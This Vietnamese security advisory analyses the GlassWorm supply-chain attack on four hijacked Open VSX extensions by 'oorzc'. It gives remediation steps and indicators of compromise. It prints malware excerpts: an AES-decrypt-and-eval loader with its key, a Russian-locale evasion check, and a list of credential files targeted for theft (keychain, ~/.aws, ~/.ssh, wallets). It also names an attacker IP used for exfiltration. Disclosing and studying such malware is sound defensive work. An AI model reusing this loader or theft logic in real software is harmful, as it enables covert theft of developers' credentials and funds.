# Cảnh Báo Khẩn: Extension Hợp Pháp Bị Chiếm Quyền Đang Đánh Cắp Toàn Bộ Token & Key Của Developer

Nhóm nghiên cứu của Socket phát hiện một cuộc tấn công chuỗi cung ứng nhắm vào Open VSX Registry, bắt nguồn từ việc **tài khoản phát hành extension của nhà phát triển bị chiếm quyền** (rò rỉ token hoặc truy cập trái phép).

Ngày **30/01/2026**, bốn extension hợp lệ, lâu năm của tác giả **“oorzc”** bị kẻ tấn công tải lên các bản cập nhật chứa **GlassWorm malware loader**. Trước thời điểm bị nhiễm, các extension này đã có hơn **22.000 lượt tải** trên Open VSX.

**4 extension bị ảnh hưởng**

* FTP/SFTP/SSH Sync Tool — v0.5.1
    
* I18n Tools — v1.6.8
    
* vscode mindmap — v1.0.61
    
* scss to css — v1.3.4
    

Các extension vốn được phát hành từ nhiều năm, có tín hiệu uy tín và được cộng đồng rộng rãi sử dụng.

![ ](https://cdn.sanity.io/images/cgdhsj6q/production/04adda57955f3bc4229931f773d23162fad25cd3-780x543.png?w=1600&q=95&fit=max&auto=format align="left")

---

## **Phát hiện xâm nhập**

Sau khi Socket thông báo, đội an ninh Open VSX xác nhận hoạt động này rất phù hợp với tình huống **token phát hành bị lộ**. Các bản phát hành độc hại bị loại bỏ, hai token bị vô hiệu hóa và extension `oorzc.ssh-tools` được đưa vào danh sách malware.

Nhóm GlassWorm – tác nhân tấn công – đã bị theo dõi từ cuối 2025, với nhiều extension độc hại khác được phát hiện có kỹ thuật tương đồng (loader mã hóa, cấu hình nhận qua blockchain, tránh static IOC…).

![ ](https://cdn.sanity.io/images/cgdhsj6q/production/d9c14c5d41c6816f96d5b6269436df566fbd1d96-624x673.png?w=1600&q=95&fit=max&auto=format align="left")

---

## **Phân tích kỹ thuật**

**1\. Loader (Stage 0) trong extension**

Mọi extension nhiễm độc chứa cùng một đoạn loader trong `extension.js`. Loader sử dụng **AES-256-CBC** để giải mã một khối mã hex dài, sau đó **thực thi bằng** `eval()`.

→ Đây là cơ chế nạp mã độc theo dạng “staged loader”.

```javascript
const crypto = require("crypto");

// AES parameters embedded in the extension
let d = crypto.createDecipheriv(
  "aes-256-cbc",
  "wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz",                    // 32-byte key
  Buffer.from("dfc1fefb224b2a757b7d3d97a93a1db9", "hex") // 16-byte IV
);

// Encrypted payload is a long hex string (truncated here)
let b = d.update(
  "d4f0f5c6b7c5...<hex omitted>...9f2a",
  "hex",
  "utf8"
);

b += d.final("utf8");

// Executes the decrypted Stage 1 code
eval(b);
```

**2\. Stage 1 – Kiểm tra môi trường & dead-drop blockchain**

Stage 1:

* Kiểm tra locale, múi giờ và ngôn ngữ Nga → nếu trùng khớp sẽ **không chạy** (OPSEC của tội phạm Nga).
    
* Lấy lệnh giai đoạn tiếp theo từ **memo của giao dịch Solana** → một dạng dead drop động cho phép đổi C2 mà không cần cập nhật extension.
    
* Tiếp tục thực thi **chỉ trên macOS**.
    

```javascript
function _isRussianSystem(){
  let russianIndicators = [
    "ru_RU",
    "ru-RU",
    "ru",
    "Russian",
    process.env.LANG,
    process.env.LANGUAGE,
    process.env.LC_ALL,
    process.env.LC_MESSAGES
  ];
  let isRussianLanguage = russianIndicators.some(indicator =>
    indicator && indicator.toLowerCase().includes("ru")
  );

  let timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;
  let isMoscowTimeZone = timeZone && timeZone.includes("Europe/Moscow");

  let utcOffset = (new Date).getTimezoneOffset() / -60;
  let isRussiaAdjacentTimezone = utcOffset >= 2 && utcOffset <= 12;

  return isRussianLanguage || isMoscowTimeZone || isRussiaAdjacentTimezone;
}
...
if (os.platform() == "darwin") {
  // macOS-specific Stage 2 path follows
}
```

**3\. Stage 2 – Payload macOS: đánh cắp dữ liệu & duy trì hiện diện**

**Thu thập dữ liệu**

Payload tập trung vào credential theft, session theft và wallet theft:

* Cookies, lịch sử, cơ sở dữ liệu đăng nhập của Firefox & Chromium
    
* Dữ liệu extension ví (MetaMask…)
    
* Ví desktop: Electrum, Exodus, Atomic, Ledger Live, Trezor Suite, Binance, TonKeeper
    
* Keychain macOS (`login.keychain-db`)
    
* Apple Notes
    
* Tài liệu người dùng (Desktop, Documents, Downloads)
    
* Cấu hình VPN FortiClient
    
* **Tài liệu nhà phát triển:** `~/.aws`, `~/.ssh`, GitHub tokens, npm tokens → RẤT nguy hiểm (khả năng leo thang vào hạ tầng doanh nghiệp/CI/CD).
    

```javascript
// Stage 2 data-theft targets (selected examples observed in payload)

const targets = [
  // macOS credential store
  "~/Library/Keychains/login.keychain-db",

  // Apple Notes databases (often contain sensitive data)
  "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite",
  "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal",
  "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm",

  // Safari session material
  "~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies",

  // FortiClient VPN configuration
  "/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist",

  // Developer secrets and access material
  "~/.aws", // credentials and config
  "~/.ssh"  // private keys, known_hosts, config
];

// The payload stages copies of these artifacts under /tmp/ijewf,
// compresses them to /tmp/out.zip, then exfiltrates the archive.
```

**Đóng gói & gửi dữ liệu**

Dữ liệu được nén thành `/tmp/`[`out.zip`](http://out.zip) rồi gửi về hạ tầng của kẻ tấn công (ví dụ: `45[.]32[.]150[.]251`).

**Cơ chế duy trì**

* Tạo LaunchAgent trong `~/Library/LaunchAgents`
    
* Khởi chạy payload JS qua runtime Node khi đăng nhập  
    → Payload tồn tại lâu dài nếu không bị gỡ.
    

---

## **So sánh với hoạt động GlassWorm trước đây**

Các đợt tấn công 2025 chủ yếu:

* Typosquatting
    
* Giả mạo công cụ nổi tiếng
    
* Làm giả lượt tải để tạo uy tín
    

Lần này nguy hiểm hơn: kẻ tấn công dùng tài khoản thật, có lịch sử phát triển thực → tạo sự tin cậy cao hơn và mở rộng phạm vi ảnh hưởng.

---

## **Tác động & Rủi ro**

Nếu nạn nhân cài bất kỳ extension nào bị nhiễm, coi như đã:

* Lộ GitHub tokens → nguy cơ chiếm quyền repo, sửa code, lén chèn backdoor
    
* Lộ npm tokens → phát hành gói độc hại
    
* Lộ AWS credentials → truy cập tài nguyên cloud
    
* Lộ SSH keys → chiếm server hoặc nội mạng doanh nghiệp
    
* Lộ ví crypto và session trình duyệt
    
* Lộ tài liệu nội bộ và ghi chú chứa thông tin nhạy cảm
    

Phạm vi thiệt hại có thể lan từ **máy developer → pipeline CI/CD → người dùng cuối**.

---

## **Khuyến nghị ứng phó**

**1\. Xử lý khẩn cấp trên thiết bị**

* Gỡ 4 extension bị nhiễm
    
* Xóa toàn bộ artifact liên quan (đặc biệt thư mục `/tmp/ijewf` và LaunchAgent lạ)
    
* Tìm file `*.plist` đáng ngờ trong `~/Library/LaunchAgents`
    
* Kiểm tra các tập tin bất thường ở `/tmp/`[`out.zip`](http://out.zip)
    

**2\. Xoay vòng & thu hồi chứng chỉ/credential**

Thứ tự quan trọng:

1. Thu hồi GitHub tokens
    
2. Thu hồi npm tokens
    
3. Đổi AWS access keys
    
4. Thu hồi SSH keys sử dụng trong tổ chức (đặc biệt cho CI/CD & prod)
    

Sau đó:

* Kiểm tra nhật ký GitHub: workflow lạ, commit bất thường, token mới được tạo
    
* Kiểm tra quá trình CI/CD xem có chỉnh sửa trái phép
    
* Rà soát cấu hình pipeline & release automation
    

**3\. Bảo vệ chuỗi cung ứng**

* Triển khai các giải pháp kiểm tra dependency như Socket GitHub App, Socket CLI
    
* Kiểm soát thay đổi dependency trong pull request
    
* Sử dụng công cụ cảnh báo rủi ro registry khi cài package hoặc extension
    

---

## **IOC**

### **Malicious Open VSX Extensions (Suspected Developer Account** `oorzc` Compromise)

1. [`oorzc.ssh-tools`](https://socket.dev/openvsx/package/oorzc.ssh-tools/overview/0.5.1?platform=universal) — v0.5.1
    
2. [`oorzc.i18n-tools-plus`](https://socket.dev/openvsx/package/oorzc.i18n-tools-plus/overview/1.6.8?platform=universal) — v1.6.8
    
3. [`oorzc.mind-map`](https://socket.dev/openvsx/package/oorzc.mind-map/overview/1.0.61) — v1.0.61
    
4. [`oorzc.scss-to-css-compile`](https://www.notion.so/GlassWorm-Loader-Hits-Open-VSX-via-Developer-Account-Compromise-2f84cb3adfeb8003985fffdbf5740c29?pvs=21) — v1.3.4
    

### **Malicious Open VSX Extensions (December 2025 — January 2026 Cluster)**

1. [`Angular-studio.ng-angular-extension`](https://socket.dev/openvsx/package/Angular-studio.ng-angular-extension/overview)
    
2. [`awesome-codebase.codebase-dart-pro`](https://socket.dev/openvsx/package/awesome-codebase.codebase-dart-pro/overview)
    
3. [`cudra-production.vsce-prettier-pro`](https://socket.dev/openvsx/package/cudra-production.vsce-prettier-pro/overview)
    
4. [`dev-studio-sense.php-comp-tools-vscode`](https://socket.dev/openvsx/package/dev-studio-sense.php-comp-tools-vscode/overview)
    
5. [`ko-zu-gun-studio.synchronization-settings-vscode`](https://socket.dev/openvsx/package/ko-zu-gun-studio.synchronization-settings-vscode/overview)
    
6. [`littensy-studio.magical-icons`](https://socket.dev/openvsx/package/littensy-studio.magical-icons/overview)
    
7. [`pretty-studio-advisor.prettyxml-formatter`](https://socket.dev/openvsx/package/pretty-studio-advisor.prettyxml-formatter/overview)
    
8. [`sol-studio.solidity-extension`](https://socket.dev/openvsx/package/sol-studio.solidity-extension/overview)
    
9. [`studio-jjalaire-team.professional-quarto-extension`](https://socket.dev/openvsx/package/studio-jjalaire-team.professional-quarto-extension/overview)
    
10. [`studio-velte-distributor.pro-svelte-extension`](https://socket.dev/openvsx/package/studio-velte-distributor.pro-svelte-extension/overview)
    
11. [`sun-shine-studio.shiny-extension-for-vscode`](https://socket.dev/openvsx/package/sun-shine-studio.shiny-extension-for-vscode/overview)
    
12. [`tucyzirille-studio.angular-pro-tools-extension`](https://socket.dev/openvsx/package/tucyzirille-studio.angular-pro-tools-extension/overview)
    
13. [`vce-brendan-studio-eich.js-debuger-vscode`](https://socket.dev/openvsx/package/vce-brendan-studio-eich.js-debuger-vscode/overview)
    

### **Blockchain Indicators**

* Solana address: `BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC`
    

### **Embedded Crypto Material**

* AES key: `wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz`
    
* AES IVs (hex): `c4b9a3773e9dced6015a670855fd32b`
    

### **IP Address**

* `45[.]32[.]150[.]251`
    

---

## **Tham khảo**

* [GlassWorm Loader Hits Open VSX via Developer Account Comprom...](https://socket.dev/blog/glassworm-loader-hits-open-vsx-via-suspected-developer-account-compromise)
    
* [GlassWorm malware targets Open VSX Registry in supply chain attack | SC Media](https://www.scworld.com/news/glassworm-malware-targets-open-vsx-registry-in-supply-chain-attack)
